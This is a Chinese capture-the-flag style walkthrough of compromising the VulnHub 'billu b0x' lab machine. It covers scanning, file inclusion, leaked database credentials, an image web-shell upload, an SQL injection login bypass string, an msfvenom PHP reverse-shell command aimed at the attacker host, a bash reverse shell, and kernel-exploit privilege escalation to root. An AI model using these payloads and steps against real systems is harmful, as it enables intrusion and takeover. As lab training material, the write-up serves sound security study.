靶机下载地址:https://download.vulnhub.com/billu/
靶机环境:处于net网络下的VM虚拟机
攻击机:192.168.146.131
靶 机:192.168.146.133(扫描后得到的)
nmap -sn 192.168.146.0/24
arp-scan -l
nmap -sS 192.168.146.133
192.168.146.133
看到这个页面或许你们会想到通过sql注入,直接进去,但是小编我坚信还是有其它办法的(实话说,小编的sql注入水平着实差),所以路径扫描来一波
使用工具:DirBuster-1.0-RC1.jar
可以看到扫出来的东西还是挺多的,也许小编就避免了sql注入这一关(偷笑)
对扫出来的页面进行逐个访问,经过筛选过滤得,肉眼看得到有用的页面,就 test.php, in.php , add.php
但是,注意!!! add.php是个假的upload。。。。。
in.php (可以进行远程文件包含)
test.php(文件包含)
test.php可以进行文件远程包含,参数为 file
但是,在get传参file的值,经过多次实验还是没有读取到任何一个文件的源码,首先你会怀疑 这是不是假的,其次是这个靶场是wa掉了(别问我为什么知道你内心活动,那是因为小编也是这么想的。。。。。。)为什么一直读不到
但是小编告诉你,靶场没坏,这也确实真真存在文件包含漏洞,只是file得参数传入的方式有问题,这里需要POST传参。
工具使用:burpsuit
这下,可以确定了,继续读取其他文件
当然,读到了index.php文件的时候,小编心里是非常不好受的,居然sql注入。。。。
继续读下去,读到c.php文件的时候,终于啊,有点我喜欢的东西出来了
" . mysqli_connect_error();
}
?>
可以很清楚的看到,有数据库的登陆账号密码 billu/b0x_billu,尝试ssh连接
连接失败,换个思路,那么应该是有数据库后台的
对数据库后台登陆页面进行扫描爆破,最终得到 /myphp路径,登陆账号 billu/b0x_billu 得:
返回首页登陆账号:
通过test.php文件包含读取panel.php源码
file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "
i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "
only png,jpg and gif file are allowed";
}
}
}
?>
审计一下上面的代码,发现只能上传图片马,而且这个页面存在文件包含漏洞
由上面得路径,可以看出上传的图片放在 uploaded_images里
利用panel.php的文件包含,连接我们上传得图片马
工具:蚁剑
直接使用蚁剑自带的虚拟终端,获得内核版本3.13.0
1)利用kali本机自带的exp,进行提权
searchsploit 3.13.0
上传exp到 uploaded_images
编译运行exp
gcc 37292.c -o test
./test
可以看到有 root权限的#,应该是可以进入root的,但是不造为啥由于蚁剑的终端会这样,那么我们就需要尝试反弹shell到kaili,再提权
再一次上传命令执行的马(system)到uploaded_images下,执行url编码好的bash反弹命令,
在kali nc监听一下,得到反弹shell
在exp目录下执行 ./test 得到root权限
msfvenom -p php/merterpreter/reverse_tcp lhost=192.168.146.131 lport=6666 -f raw > exp.php
打开msf命令界面,并且配置好参数,在后台运行
上传exp.php文件,并访问exp.php文件,得到shell
在meterpreter进入shell模式,运行生成好的 test 文件
----------------------------------------------------------------完美的分割线---------------------------------------------------------------------------------------
继上次的爆破后台路径得到数据库后台登陆地址为 /phpmy
在对http://192.168.146.133/phpmy 进行路径扫描,可以扫到他的配置文件 config.inc.php
由系统为ubuntu 可 推测 phpmy 在路径 /var/www 下
用teat.php 文件包含得:
kali直接ssh远程连接得
----------------------------------------------------------------有一次华丽分割线---------------------------------------------------------------------------------
通过test.php文件包含漏洞读取index.php文件,查看sql语句地绕过机制
--==[[ billu b0x ]]==--
Show me your SQLI skills
审阅源码:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'
str_replace的作用是将字符串\’ 替换为空,因此构造SQL注入登录payload时,必须含有\’字符串,否则会报错。urldecode的作用是将输入解码。
常用的注入登陆的绕过语句是 'or 1=1 --
而又必须含有 \' ,则有
'or 1=1 -- \'
登陆账号 'or 1=1 -- \'
登陆密码 'or 1=1 -- \'
即:
剩下的步骤和上面的步骤一样,上传图片,拿shell再提权即可